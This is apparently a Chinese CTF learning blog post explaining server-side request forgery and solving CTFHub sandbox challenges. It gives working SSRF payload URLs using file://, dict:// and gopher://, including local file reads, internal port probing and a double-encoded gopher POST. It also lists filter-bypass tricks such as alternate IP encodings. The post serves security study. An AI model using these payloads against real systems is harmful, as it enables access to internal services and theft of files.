【Try to Hack】SSRF(一)
📒博客主页:开心星人的博客主页
🔥系列专栏:Try to Hack
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年5月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
部分概念《web安全功防》学习所得,仅作为自己学习的记录
@toc
SSRF概述和原理
SSRF,服务端请求伪造,是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
主要攻击方式如下所示。
● 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息。
● 攻击运行在内网或本地的应用程序。
● 对内网Web应用进行指纹识别,识别企业内部的资产信息。
● 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。
● 利用file协议读取本地文件等。
常用伪协议
http伪协议:探测测内网主机存活、端口开放情况,可以通过访问其它网站确定存活,如百度
file伪协议:读取本地文件,如/etc/passwd、/etc/hosts、web网站等等
dict伪协议:泄露安装软件版本信息,查看端口,操作内网redis访问等
gopher伪协议:发送GET或POST请求(需要配合http协议二次url编码上传);攻击内网应用,如FastCGI、Redis
SSRF题目
内网访问
题目来自ctfhub技能树
http://challenge-acf1074025c4ea02.sandbox.ctfhub.com:10800/?url=_
页面为空
使用==http伪协议==判断主机是否存活
http://challenge-acf1074025c4ea02.sandbox.ctfhub.com:10800/?url=http://www.baidu.com
可以正常访问,所以内网主机是存活的
题目提示:尝试访问位于127.0.0.1的flag.php吧
http://challenge-acf1074025c4ea02.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
拿到flag
伪协议读取文件
http://challenge-3281151951220722.sandbox.ctfhub.com:10800/?url=_
和上一题一样http伪协议访问百度,主机仍然存活
题目提示:尝试去读取一下Web目录下的flag.php吧
使用==file伪协议==读取文件
http://challenge-3281151951220722.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
查看源码得到flag
端口扫描
题目提示:dict://:泄露安装软件版本信息,查看端口,操作内网redis访问等
用bp爆破,使用==dict伪协议==查看端口
访问http://challenge-9c2052be03dc7f05.sandbox.ctfhub.com:10800/?url=http://127.0.0.1:8424
也可以直接用==http伪协议==爆破
不加http也行,默认的就是http
POST请求
题目提示:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
用==file伪协议==查看源码
view-source:http://challenge-dc8c9baa94c1d082.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php
看别人wp说用dirsearch发现还有个flag.php,我也不知道这个要怎么扫目录。总之知道有个flag.php,用==file伪协议==看一下
http://challenge-dc8c9baa94c1d082.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php
是个输入框
看源码
用==http伪协议==看下
http://challenge-dc8c9baa94c1d082.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
根据flag.php,我们很容易构造出
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=cff2694ad902f81a0ffc927f58c66c6e
那么如何进行POST传参呢?使用==gopher://==
对构造的payload进行二次url编码
第一次编码后的数据%0A替换%0D%0A,把替换后的数据进行第二次url编码,为什么要把%0A替换呢?这是因为CRLF即回车换行相当于是tcp数据流中的一个断点,所以一次编码忽略了的LF我们要在编码后加上再进行一次编码。
一次编码(%0A已被%0D%0A替换):
POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0A%0D%0Akey%3Dcff2694ad902f81a0ffc927f58c66c6e
二次编码(对第一次替换后的编码再编一次):
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250A%250D%250Akey%253Dcff2694ad902f81a0ffc927f58c66c6e
使用==gopher伪协议==进行POST
_POST
,要加下划线
SSRF绕过
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP
1、利用@ http://example.com@127.0.0.1/
2、利用短地址 https://bit.ly/2QyXEsz
等价于http:/127.0.0.1
3、利用句号 127。0。0。1
4、进制转换
127.0.0.1–>localhost
127.0.0.1–>7F000001 十六进制
127.0.0.1–>2130706433 十进制
还没有很多内容没有写,待补充
- 点赞
- 收藏
- 关注作者
评论(0)